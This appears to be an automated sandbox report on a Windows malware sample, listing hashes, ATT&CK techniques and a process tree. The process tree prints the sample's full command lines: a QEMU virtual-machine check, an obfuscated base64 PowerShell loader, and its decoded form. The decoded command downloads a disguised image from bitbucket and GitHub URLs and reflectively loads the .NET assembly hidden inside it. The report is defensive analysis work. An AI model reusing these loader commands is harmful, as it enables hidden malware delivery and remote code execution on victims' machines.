979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
17-09-2024 03:09

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General

Target

979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe
Size

311KB
MD5

d538263914eafa5c4a7bc69bb6d6ecb0
SHA1

b44c3e6464fe41e2c33a74186457ffb314fe48e1
SHA256

979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4
SHA512

8cb3a952e002cf4150f882e9901470ad86eb9a8bd0540fa50d6a6b77634a15018c042dd04bc9ba8ab2ee240c0a197bd7d4c0727eae096c81903e387ea596b8d3
SSDEEP

6144:CbJhs7QW69hd1MMdxPe9N9uA0hu9TB6xdb9t/iZSe:CbjDhu9Tk/f/iZ

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	1636	powershell.exe
6	1636	powershell.exe
8	1636	powershell.exe
9	1636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe
1636	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	bitbucket.org

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Program Files\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2144	powershell.exe
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 2512	2780	979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe	30
PID 2780 wrote to memory of 2512	2780	979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe	30
PID 2780 wrote to memory of 2512	2780	979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe	30
PID 2512 wrote to memory of 1964	2512	cmd.exe	32
PID 2512 wrote to memory of 1964	2512	cmd.exe	32
PID 2512 wrote to memory of 1964	2512	cmd.exe	32
PID 2512 wrote to memory of 1952	2512	cmd.exe	33
PID 2512 wrote to memory of 1952	2512	cmd.exe	33
PID 2512 wrote to memory of 1952	2512	cmd.exe	33
PID 2512 wrote to memory of 2144	2512	cmd.exe	35
PID 2512 wrote to memory of 2144	2512	cmd.exe	35
PID 2512 wrote to memory of 2144	2512	cmd.exe	35
PID 2144 wrote to memory of 1636	2144	powershell.exe	36
PID 2144 wrote to memory of 1636	2144	powershell.exe	36
PID 2144 wrote to memory of 1636	2144	powershell.exe	36

C:\Users\Admin\AppData\Local\Temp\979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe
"C:\Users\Admin\AppData\Local\Temp\979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B53B.tmp\B53C.tmp\B53D.bat C:\Users\Admin\AppData\Local\Temp\979a4028365ad066650c78f85cfba5826595c25a65b4fe94d7022c5b3329b2f4N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1964
- - C:\Windows\system32\find.exe
    find "QEMU"
    3⤵
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#E8#Qw#x#FI#LwBu#Gk#YQBt#C8#d#Bp#GQ#dQBh#C8#bwBs#GE#bQBv#HQ#bgBh#HM#LwBt#G8#Yw#u#HQ#bgBl#HQ#bgBv#GM#cgBl#HM#dQBi#HU#a#B0#Gk#Zw#u#Hc#YQBy#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#DI#Jw#s#C##JwB3#Gk#bgBk#Gk#cgB3#Gk#bg#n#Cw#I##n#E0#cwBi#HU#aQBs#GQ#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.OC1R/niam/tidua/olamotnas/moc.tnetnocresubuhtig.war//:sptth', '2', 'windirwin', 'Msbuild', '1'))}}"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B53B.tmp\B53C.tmp\B53D.bat

Filesize
14KB

MD5
53f894bd602d885153659a1c9a6aa769

SHA1
bd4278fbb680244ad1ce43da84181902cd261f75

SHA256
a91e7acbfdacb614bc29050e5988f95f9fe2d12ff323edf215f2d6a41f292391

SHA512
a4f0a0c8c65592a5cccc77a3e5aafe395acdc5b7238f76cc7d27e4a23af711428f970cd7bd8caa33b0fdf529015c373a93513e22b99a6409e75e80b0e06ee8f1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f884e801121d31678a71be0adca12ba9

SHA1
086ba806475c275025b53b5b1238948b35ec3b54

SHA256
d43ad8a10cba2b2c46322fb15ed2a753da45c91d0f95dc96c564a8b8e0b0308f

SHA512
552c0a053dc6d1ca31581038664a3a0c12298560eba17cbc45eca3888479c5b273b5056f576956faa824f370e2e6aa8c558ef465dd34e03a22f22379f53b8d99

Download Submit
memory/2144-6-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2144-7-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2144-8-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download